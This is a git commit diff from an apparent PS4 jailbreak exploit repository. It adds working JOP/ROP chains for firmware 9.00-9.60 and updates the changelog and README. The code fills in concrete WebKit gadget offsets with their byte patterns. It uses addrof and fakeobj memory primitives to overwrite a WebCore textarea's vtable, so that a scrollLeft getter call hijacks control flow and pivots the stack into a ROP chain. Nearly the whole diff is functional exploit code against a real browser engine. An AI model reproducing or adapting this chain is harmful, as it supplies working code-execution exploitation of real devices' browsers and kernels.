Initial 9.00-9.60 ROP chain, by @janisslsm

- Will need to be tweaked slightly, but it's currently working
- Thanks to @DrYenyen for testing literally everything
This commit is contained in:
Al Azif
2025-06-05 16:12:57 -07:00
parent 3b37a02a1d
commit a7d1fb183c
4 changed files with 174 additions and 144 deletions

View File

@@ -15,7 +15,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
@janisslsm @janisslsm
- Added loading payload from file - Added loading payload from file
- Added read8/read16/write8/write16 functions - Added read8/read16/write8/write16 functions
- Added 8.50 and 8.52 support - Added 8.50-9.60 support
- Initial 9.00-9.60 ROP chain, by @janisslsm
- Added GitHub actions to build PRs, push to `main`, and tags for releases.
### Fixed ### Fixed

View File

@@ -22,15 +22,14 @@ This table indicates firmware versions for which the *current version* of this r
| | PSFree | Lapse | | | PSFree | Lapse |
|:--------------|:----------|:-----------| |:--------------|:----------|:-----------|
| PlayStation 4 | 8.00-8.52 | 8.00-8.52 | | PlayStation 4 | 8.00-9.60 | 8.00-9.60 |
| PlayStation 5 | N/A | N/A | | PlayStation 5 | N/A | N/A |
*Note: Support for other firmwares listed in the "Vulnerability Scope" table may, or may not, be actively being worked on or may have been supported in previous versions of this repository. Please check `CHANGELOG.md` for historical support.* *Note: Support for other firmwares listed in the "Vulnerability Scope" table may, or may not, be actively being worked on or may have been supported in previous versions of this repository. Please check `CHANGELOG.md` for historical support.*
## TODO List ## TODO List
- [ ] Rewrite JOP chains in `rop/ps4/900.mjs` and `rop/ps4/950.mjs` - [ ] Blackscreen/Save issue with certain games
- I scrapped the ones I had...
- [ ] `lapse.mjs`: Just set the bits for JIT privs - [ ] `lapse.mjs`: Just set the bits for JIT privs
- [ ] `view.mjs`: Assumes PS4, support PS5 as well - [ ] `view.mjs`: Assumes PS4, support PS5 as well
- [ ] Add PS5 support - [ ] Add PS5 support

View File

@@ -16,10 +16,11 @@ You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00, 9.03, 9.04 // 9.00, 9.03, 9.04
// ROP Chain by @janisslsm
import { mem } from "../../module/mem.mjs"; import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs"; import { KB } from "../../module/offset.mjs";
import { ChainBase, get_gadget } from "../../module/chain.mjs"; import { ChainBase } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs"; import { BufferView } from "../../module/rw.mjs";
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs"; import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
@@ -37,34 +38,50 @@ export let libkernel_base = null;
// libSceLibcInternal.sprx // libSceLibcInternal.sprx
export let libc_base = null; export let libc_base = null;
// TODO: gadgets for the JOP chain // gadgets for the JOP chain
// //
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its // When the scrollLeft getter native function is called on the console, rsi is
// type is PutPropertySlot::PutValueFunc // the JS wrapper for the WebCore textarea class.
const jop1 = ` const jop1 = `
mov rdi, qword ptr [rsi + 8] mov rdi, qword ptr [rsi + 0x18]
mov rax, qword ptr [rdi] mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70] call qword ptr [rax + 0xb8]
`;
// Since the method of code redirection we used is via redirecting a call to
// jump to our JOP chain, we have the return address of the caller on entry.
//
// jop1 pushed another object (via the call instruction) but we want no
// extra objects between the return address and the rbp that will be pushed by
// jop2 later. So we pop the return address pushed by jop1.
//
// This will make pivoting back easy, just "leave; ret".
const jop2 = `
pop rsi
jmp qword ptr [rax + 0x1c]
`;
const jop3 = `
mov rdi, qword ptr [rax + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x30]
`; `;
// rbp is now pushed, any extra objects pushed by the call instructions can be // rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored // ignored
const jop2 = ` const jop4 = `
push rbp push rbp
mov rbp, rsp mov rbp, rsp
mov rax, qword ptr [rdi] mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30] call qword ptr [rax + 0x58]
`; `;
const jop3 = ` const jop5 = `
mov rdx, qword ptr [rdx + 0x50] mov rdx, qword ptr [rax + 0x18]
mov ecx, 0xa mov rax, qword ptr [rdi]
call qword ptr [rax + 0x40] call qword ptr [rax + 0x10]
`; `;
const jop4 = ` const jop6 = `
push rdx push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax] jmp qword ptr [rax]
`; `;
const jop5 = "pop rsp; ret"; const jop7 = "pop rsp; ret";
// the ps4 firmware is compiled to use rbp as a frame pointer // the ps4 firmware is compiled to use rbp as a frame pointer
// //
@@ -109,11 +126,14 @@ const webkit_gadget_offsets = new Map(
"mov dword ptr [rdi], eax; ret": 0x000000000000613c, // `89 07 c3` "mov dword ptr [rdi], eax; ret": 0x000000000000613c, // `89 07 c3`
"mov dword ptr [rax], esi; ret": 0x00000000005c3482, // `89 30 c3` "mov dword ptr [rax], esi; ret": 0x00000000005c3482, // `89 30 c3`
[jop1]: 0x0000000000000000, // `` [jop1]: 0x00000000004e62a4, // `48 8b 7e 18 48 8b 07 ff 90 b8 00 00 00`
[jop2]: 0x0000000000000000, // `` [jop2]: 0x00000000021fce7e, // `5e ff 60 1c`
[jop3]: 0x0000000000000000, // `` [jop3]: 0x00000000019becb4, // `48 8b 78 08 48 8b 07 ff 60 30`
[jop4]: 0x0000000000000000, // ``
[jop5]: 0x0000000000000000, // `` [jop4]: 0x0000000000683800, // `55 48 89 e5 48 8b 07 ff 50 58`
[jop5]: 0x0000000000303906, // `48 8b 50 18 48 8b 07 ff 50 10`
[jop6]: 0x00000000028bd332, // `52 ff 20`
[jop7]: 0x000000000004e293, // `5c c3`
}), }),
); );
@@ -191,15 +211,54 @@ class Chain900Base extends ChainBase {
export class Chain900 extends Chain900Base { export class Chain900 extends Chain900Base {
constructor() { constructor() {
super(); super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell); const textarea = document.createElement("textarea");
rdx.write64(0x50, this.stack_addr); this._textarea = textarea;
this._rsp = mem.fakeobj(rdx); const js_ta = mem.addrof(textarea);
const webcore_ta = js_ta.readp(0x18);
this._webcore_ta = webcore_ta;
// Only offset 0x1c8 will be used when calling the scrollLeft getter
// native function (our tests don't crash).
//
// This implies we don't need to know the exact size of the vtable and
// try to copy it as much as possible to avoid a crash due to missing
// vtable entries.
//
// So the rest of the vtable are free for our use.
const vtable = new BufferView(0x200);
const old_vtable_p = webcore_ta.readp(0);
this._vtable = vtable;
this._old_vtable_p = old_vtable_p;
// 0x1b8 is the offset of the scrollLeft getter native function
vtable.write64(0x1b8, this.get_gadget(jop1));
vtable.write64(0xb8, this.get_gadget(jop2));
vtable.write64(0x1c, this.get_gadget(jop3));
// for the JOP chain
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
rax_ptrs.write64(0x30, this.get_gadget(jop4));
rax_ptrs.write64(0x58, this.get_gadget(jop5));
rax_ptrs.write64(0x10, this.get_gadget(jop6));
rax_ptrs.write64(0, this.get_gadget(jop7));
// value to pivot rsp to
rax_ptrs.write64(0x18, this.stack_addr);
const jop_buffer = new BufferView(8);
const jop_buffer_p = get_view_vector(jop_buffer);
jop_buffer.write64(0, rax_ptrs_p);
vtable.write64(8, jop_buffer_p);
} }
run() { run() {
this.check_allow_run(); this.check_allow_run();
this._rop.launch = this._rsp; this._webcore_ta.write64(0, get_view_vector(this._vtable));
this._textarea.scrollLeft;
this._webcore_ta.write64(0, this._old_vtable_p);
this.dirty(); this.dirty();
} }
} }
@@ -215,50 +274,5 @@ export function init(Chain) {
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB); init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {
get launch() {
throw Error("never call");
},
0: 1.1,
};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array); Chain.init_class(gadgets, syscall_array);
} }

View File

@@ -16,10 +16,11 @@ You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.50, 9.51, 9.60 // 9.50, 9.51, 9.60
// ROP Chain by @janisslsm
import { mem } from "../../module/mem.mjs"; import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs"; import { KB } from "../../module/offset.mjs";
import { ChainBase, get_gadget } from "../../module/chain.mjs"; import { ChainBase } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs"; import { BufferView } from "../../module/rw.mjs";
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs"; import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
@@ -37,34 +38,51 @@ export let libkernel_base = null;
// libSceLibcInternal.sprx // libSceLibcInternal.sprx
export let libc_base = null; export let libc_base = null;
// TODO: gadgets for the JOP chain // gadgets for the JOP chain
// //
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its // When the scrollLeft getter native function is called on the console, rsi is
// type is PutPropertySlot::PutValueFunc // the JS wrapper for the WebCore textarea class.
const jop1 = ` const jop1 = `
mov rdi, qword ptr [rsi + 8] mov rdi, qword ptr [rsi + 0x18]
mov rax, qword ptr [rdi] mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70] call qword ptr [rax + 0xb8]
`;
// Since the method of code redirection we used is via redirecting a call to
// jump to our JOP chain, we have the return address of the caller on entry.
//
// jop1 pushed another object (via the call instruction) but we want no
// extra objects between the return address and the rbp that will be pushed by
// jop2 later. So we pop the return address pushed by jop1.
//
// This will make pivoting back easy, just "leave; ret".
const jop2 = `
pop rsi
cmc
jmp qword ptr [rax + 0x7c]
`;
const jop3 = `
mov rdi, qword ptr [rax + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x30]
`; `;
// rbp is now pushed, any extra objects pushed by the call instructions can be // rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored // ignored
const jop2 = ` const jop4 = `
push rbp push rbp
mov rbp, rsp mov rbp, rsp
mov rax, qword ptr [rdi] mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30] call qword ptr [rax + 0x58]
`; `;
const jop3 = ` const jop5 = `
mov rdx, qword ptr [rdx + 0x50] mov rdx, qword ptr [rax + 0x18]
mov ecx, 0xa mov rax, qword ptr [rdi]
call qword ptr [rax + 0x40] call qword ptr [rax + 0x10]
`; `;
const jop4 = ` const jop6 = `
push rdx push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax] jmp qword ptr [rax]
`; `;
const jop5 = "pop rsp; ret"; const jop7 = "pop rsp; ret";
// the ps4 firmware is compiled to use rbp as a frame pointer // the ps4 firmware is compiled to use rbp as a frame pointer
// //
@@ -110,11 +128,14 @@ const webkit_gadget_offsets = new Map(
"mov dword ptr [rdi], eax; ret": 0x00000000000071d0, // `89 07 c3` "mov dword ptr [rdi], eax; ret": 0x00000000000071d0, // `89 07 c3`
"mov dword ptr [rax], esi; ret": 0x000000000007ebd8, // `89 30 c3` "mov dword ptr [rax], esi; ret": 0x000000000007ebd8, // `89 30 c3`
[jop1]: 0x0000000000000000, // `` [jop1]: 0x000000000060fd94, // `48 8b 7e 18 48 8b 07 ff 90 b8 00 00 00`
[jop2]: 0x0000000000000000, // `` [jop2]: 0x0000000002bf3741, // `5e f5 ff 60 7c`
[jop3]: 0x0000000000000000, // `` [jop3]: 0x000000000181e974, // `48 8b 78 08 48 8b 07 ff 60 30`
[jop4]: 0x0000000000000000, // ``
[jop5]: 0x0000000000000000, // `` [jop4]: 0x00000000001a75a0, // `55 48 89 e5 48 8b 07 ff 50 58`
[jop5]: 0x000000000035fc94, // `48 8b 50 18 48 8b 07 ff 50 10`
[jop6]: 0x00000000002b7a9c, // `52 ff 20`
[jop7]: 0x00000000000253e0, // `5c c3`
}), }),
); );
@@ -192,15 +213,54 @@ class Chain950Base extends ChainBase {
export class Chain950 extends Chain950Base { export class Chain950 extends Chain950Base {
constructor() { constructor() {
super(); super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell); const textarea = document.createElement("textarea");
rdx.write64(0x50, this.stack_addr); this._textarea = textarea;
this._rsp = mem.fakeobj(rdx); const js_ta = mem.addrof(textarea);
const webcore_ta = js_ta.readp(0x18);
this._webcore_ta = webcore_ta;
// Only offset 0x1c8 will be used when calling the scrollLeft getter
// native function (our tests don't crash).
//
// This implies we don't need to know the exact size of the vtable and
// try to copy it as much as possible to avoid a crash due to missing
// vtable entries.
//
// So the rest of the vtable are free for our use.
const vtable = new BufferView(0x200);
const old_vtable_p = webcore_ta.readp(0);
this._vtable = vtable;
this._old_vtable_p = old_vtable_p;
// 0x1b8 is the offset of the scrollLeft getter native function
vtable.write64(0x1b8, this.get_gadget(jop1));
vtable.write64(0xb8, this.get_gadget(jop2));
vtable.write64(0x7c, this.get_gadget(jop3));
// for the JOP chain
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
rax_ptrs.write64(0x30, this.get_gadget(jop4));
rax_ptrs.write64(0x58, this.get_gadget(jop5));
rax_ptrs.write64(0x10, this.get_gadget(jop6));
rax_ptrs.write64(0, this.get_gadget(jop7));
// value to pivot rsp to
rax_ptrs.write64(0x18, this.stack_addr);
const jop_buffer = new BufferView(8);
const jop_buffer_p = get_view_vector(jop_buffer);
jop_buffer.write64(0, rax_ptrs_p);
vtable.write64(8, jop_buffer_p);
} }
run() { run() {
this.check_allow_run(); this.check_allow_run();
this._rop.launch = this._rsp; this._webcore_ta.write64(0, get_view_vector(this._vtable));
this._textarea.scrollLeft;
this._webcore_ta.write64(0, this._old_vtable_p);
this.dirty(); this.dirty();
} }
} }
@@ -216,50 +276,5 @@ export function init(Chain) {
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB); init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {
get launch() {
throw Error("never call");
},
0: 1.1,
};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array); Chain.init_class(gadgets, syscall_array);
} }